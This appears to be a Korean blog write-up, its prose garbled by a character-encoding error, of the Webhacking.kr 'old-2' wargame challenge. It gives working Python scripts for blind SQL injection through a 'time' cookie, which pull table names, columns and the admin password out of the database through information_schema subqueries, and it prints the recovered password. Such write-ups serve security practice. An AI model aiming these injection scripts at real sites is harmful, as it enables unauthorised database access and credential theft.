[Webhacking.kr] old-2
October 19, 2025
์ฃผ๋ง๋์ https://webhacking.kr/challenge/web-02/๋ฅผ ํธ๋ ๊ฒ์ด ๊ณผ์ ์๋ค. ์ฌ์ค ์ง๋ ์ฃผ ๋ชฉ์์ผ~๊ธ์์ผ๋ถํฐ ์ฐ๋์ฐ๋ ํด๋ณธ ๊ฒ๋ถํฐ ํ๋ฉด ๊ฑฐ์ 4์ผ? ๋์ ์ด ๋ฌธ์ ๋ง ํผ ๊ฒ ๊ฐ๋คโฆ ํ๊ณ ํ์ด ์์ฑ์ ๋ฏธ๋ค๋๋ค๊ฐ ์ด์ ์์ผ ์์ฑํ๋ค. ์ฃผ์์ผ๋ก ์ ํ ์๋ ์๊ฐ ๊ฐ์ ์ข ์ฃผ์๊น๊ฒ ์ดํด๋ดค์ผ๋ฉด ์๊ฐ์ ์ ๋ฐ์ ๋จ์ถํ ์ ์์์ ํ ๋ฐ;; ์๊ฒ์ ๊ฒฝ๋ ฅ ๋ถ์กฑ(?) ์ด์โฆ
์ด ์ฝ๋์ ํํธ๋ ์ด ๋ ๊ฐ์ง๋ค. ์ฒซ ๋ฒ์งธ๋ ์ฃผ์ ์ฒ๋ฆฌ๋์ด ์๋ ์๊ฐ, ๋ ๋ฒ์งธ๋ admin.php์ ๊ด๋ จ๋ ๊ฒ.
EditThisCookie๋ฅผ ์ด์ฉํด์ ์ฟ ํค๊ฐ์ ํ์ธํด๋ณธ ๊ฒฐ๊ณผ time์ด๋ผ๋ ์ฟ ํค์ ๊ฐ์ด ์์ฒ๋ผ ๋์ด ์๋ค.
https://www.epochconverter.com/์์ ์ด timestamp๋ฅผ human time์ผ๋ก ๋ณ๊ฒฝํ์ ์์ ๊ฐ์ ๊ฒฐ๊ณผ๋ฅผ ๋ณผ ์ ์์๋ค. ์ด ์ฟ ํค๊ฐ ์๋ฒ์์ ์ด๋ป๊ฒ ์ฌ์ฉ๋ ๊น? SELECT ~ FROM ~ WHERE timestamp=โ~~โ ์ด๋ฐ ์์ผ๋ก ์ฌ์ฉ๋ ํ๋ฅ ์ด ๋์ง ์์๊น? ๊ทธ๋ ๋ค๋ฉด ์ฟ ํค์ SQL Injection์ ์๋ํด๋ณผ ์ ์์ ๊ฒ์ด๋ค.
์ฟ ํค์ false๊ฐ์ injection
์ฟ ํค์ true๊ฐ์ injection
๋ ๊ฒฐ๊ณผ๊ฐ ๋ค๋ฅธ ๊ฒ์ผ๋ก ๋ณด์ Blind SQL Injection์ ์๋ํ ์ ์๋ค. ์ผ๋จ ํ ์ด๋ธ์ ๊ฐ์๋ถํฐ ์ฐพ์๋ณด์. (์ฌ์ค ์ฝ๋ ์์ฑ ๋ถ๋ถ๋ถํฐ๋ ai์ ๋์์ ์ด์ง ๋ฐ์๋ฐโฆ^^)
import requests
url = 'https://webhacking.kr/challenge/web-02/'
cookie = {
'time': '(SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema = database())'
}
r = requests.get(url, cookies=cookie)
print(r.text)
์ ์ฝ๋๋ฅผ ์คํํ์ ์ด๋ฐ ๊ฒฐ๊ณผ๊ฐ ๋์๋ค. ** ์ฐธ๊ณ
- information_schema.tables๋ mysql์ ์์คํ ํ ์ด๋ธ์ผ๋ก ๋ชจ๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ํ ์ด๋ธ ์ ๋ณด๊ฐ ๋ค์ด ์๋ค.
- database()ํจ์๋ ํ์ฌ ์ฐ๊ฒฐ๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ด๋ฆ์ ๋ฐํํ๋ค.
- table_schema=database()๋ ํ์ฌ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ํ ํ
์ด๋ธ๋ค๋ง ํํฐ๋งํ๋ค.
์ฆ ์ sql ์ฟผ๋ฆฌ๋ ํ์ฌ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์๋ ํ
์ด๋ธ์ ๊ฐ์๋ฅผ ์ธ๋ ์ฟผ๋ฆฌ์ด๋ค.
2070-01-01 09:00:02 ๋ถ๋ถ์์ ํ
์ด๋ธ์ด 2๊ฐ์์ ์ถ์ธกํ ์ ์๋ค. ์๋ธ์ฟผ๋ฆฌ๊ฐ ์ซ์ 2๋ฅผ ๋ฐํํ๋ฉด ์๋ฒ๊ฐ ์ด๋ฅผ ํ์์คํฌํ๋ก ์ฒ๋ฆฌํด ์์ ๊ฐ์ด ํํ๋์๋ค๊ณ ๋ณผ ์ ์๋ค.
์ด์ ํ ์ด๋ธ์ ์ด๋ฆ์ ์ฐพ์ ์ฐจ๋ก์ด๋ค.
import requests
import re
url = 'https://webhacking.kr/challenge/web-02/'
#--- ์ฒซ ๋ฒ์งธ ํ
์ด๋ธ๋ช
์ฐพ๊ธฐ ---#
print("\n=== ์ฒซ ๋ฒ์งธ ํ
์ด๋ธ๋ช
์ฐพ๊ธฐ ===")
table_name = ""
for i in range(1, 15):
cookie = {
'time': f'(SELECT ascii(substr(table_name,{i},1)) FROM information_schema.tables WHERE table_schema=database() limit 0,1)'
}
r = requests.get(url, cookies=cookie)
# ์๊ฐ ํจํด ์ถ์ถ: 09:XX:XX ํํ
time_match = re.search(r'09:(\d{2}):(\d{2})', r.text)
if time_match:
minutes = int(time_match.group(1))
seconds = int(time_match.group(2))
# ๋ถ:์ด๋ฅผ ASCII ๊ฐ์ผ๋ก ๋ณํ (01:37 โ 1*60+37 = 97)
ascii_val = minutes * 60 + seconds
if ascii_val == 0:
break
char = chr(ascii_val)
table_name += char
print(f'{i}๋ฒ์งธ ๊ธ์: {time_match.group(0)} โ ASCII {ascii_val} โ "{char}"')
else:
print("์๊ฐ ํจํด์ ์ฐพ์ ์ ์์")
break
print(f'\n์ฒซ ๋ฒ์งธ ํ
์ด๋ธ๋ช
: {table_name}')
์ฒซ ๋ฒ์งธ ํ
์ด๋ธ๋ช
์ admin_area_pw์์ ์ ์ ์๋ค.
limit 1,1๋ก ๋ฐ๊ฟ์ ๋ฐ๋ก ๋ ๋ฒ์งธ ํ
์ด๋ธ๋ช
์ ์์๋๋ค. ๋ ๋ฒ์งธ ํ
์ด๋ธ๋ช
์ log. ๋ฑ ๋ด๋ admin_area_pw์ flag๊ฐ ์์ ๊ฒ ๊ฐ์ด ์๊ฒผ๋ค.
admin_area_pw์ ์ปฌ๋ผ ๊ฐ์, ์ปฌ๋ผ๋ช , ๋ฐ์ดํฐ ๊ฐ์, ๋ฐ์ดํฐ ๋ด์ฉ์ ๋ค ์ถ์ถํ๋ ์ฝ๋.
import requests
import re
url = 'https://webhacking.kr/challenge/web-02/'
def extract_ascii_from_time(text):
time_match = re.search(r'09:(\d{2}):(\d{2})', text)
if time_match:
minutes = int(time_match.group(1))
seconds = int(time_match.group(2))
return minutes * 60 + seconds
return 0
# admin_area_pw ํ
์ด๋ธ ๋ถ์
table_name = "admin_area_pw"
#--- ์ปฌ๋ผ ๊ฐ์ ์ฐพ๊ธฐ ---#
print("=== ์ปฌ๋ผ ๊ฐ์ ์ฐพ๊ธฐ ===")
cookie = {'time': f"(SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='{table_name}')"}
r = requests.get(url, cookies=cookie)
column_count = extract_ascii_from_time(r.text)
print(f'{table_name} ํ
์ด๋ธ์ ์ปฌ๋ผ ๊ฐ์: {column_count}๊ฐ')
#--- ๊ฐ ์ปฌ๋ผ๋ช
์ฐพ๊ธฐ ---#
columns = []
for col_num in range(column_count):
print(f"\n=== {col_num+1}๋ฒ์งธ ์ปฌ๋ผ๋ช
์ฐพ๊ธฐ ===")
column_name = ""
for i in range(1, 20):
cookie = {'time': f"(SELECT ascii(substr(column_name,{i},1)) FROM information_schema.columns WHERE table_schema=database() AND table_name='{table_name}' LIMIT {col_num},1)"}
r = requests.get(url, cookies=cookie)
ascii_val = extract_ascii_from_time(r.text)
if ascii_val == 0:
break
char = chr(ascii_val)
column_name += char
print(f'{i}๋ฒ์งธ ๊ธ์: ASCII {ascii_val} โ "{char}"')
columns.append(column_name)
print(f'{col_num+1}๋ฒ์งธ ์ปฌ๋ผ๋ช
: {column_name}')
#--- ํ
์ด๋ธ ๋ฐ์ดํฐ ๊ฐ์ ์ฐพ๊ธฐ ---#
print(f"\n=== {table_name} ํ
์ด๋ธ์ ๋ฐ์ดํฐ ๊ฐ์ ===")
cookie = {'time': f"(SELECT COUNT(*) FROM {table_name})"}
r = requests.get(url, cookies=cookie)
data_count = extract_ascii_from_time(r.text)
print(f'๋ฐ์ดํฐ ๊ฐ์: {data_count}๊ฐ')
#--- ๊ฐ ๋ฐ์ดํฐ ๋ด์ฉ ์ถ์ถ ---#
for row_num in range(data_count):
print(f"\n=== {row_num+1}๋ฒ์งธ ๋ฐ์ดํฐ ===")
for col_idx, col_name in enumerate(columns):
print(f"\n--- {col_name} ์ปฌ๋ผ ๊ฐ ---")
data_value = ""
for i in range(1, 50): # ์ต๋ 50๊ธ์
cookie = {'time': f"(SELECT ascii(substr({col_name},{i},1)) FROM {table_name} LIMIT {row_num},1)"}
r = requests.get(url, cookies=cookie)
ascii_val = extract_ascii_from_time(r.text)
if ascii_val == 0:
break
char = chr(ascii_val)
data_value += char
print(f'{i}๋ฒ์งธ ๊ธ์: ASCII {ascii_val} โ "{char}"')
print(f'{col_name}: {data_value}')
pw๋ kudos_to_beistlab์ด๋ค.
์ด์ admin.php๋ก ์ด๋ํด์ ์ด pw๋ฅผ ์
๋ ฅํ๋๋ ํ๋ ธ๋ค.

ํ๊ธฐ
์ผ๋จ SQL์ ๋๋ฌด ์ค๋๋ง์ ์จ์ SQL๋ฌธ ์์ฑํ๊ธฐ๊ฐ ์๊ทผ ๋นก์ ๊ณ โฆ ์ด๋ฐ ์์ผ๋ก ํ์ด์ฌ ์ฝ๋๋ฅผ ์์ฑํด์ ์ ๋ณด๋ฅผ ๊ธ์ด์ฌ ์ ์์ ๊ฑฐ๋ผ๋ ์๊ฐ์ ๋ชปํ๋ค. ๋น์ฐํ ์ฟ ํค๊ฐ ํ๋์ฉ ๋ฐ๊ฟ์ผ ํ ์ค ์์๋๋ฐ ์ธ์ ํธํด์ก๋ค(?) ์ ๊ทํํ์์ ๋ ๊ณต๋ถํด์ผํ ๋ฏ.
Reference
https://www.skshieldus.com/download/files/download.do?o_fname=EQST%20insight_Special%20Report_202208.pdf&r_fname=20220818113242961.pdf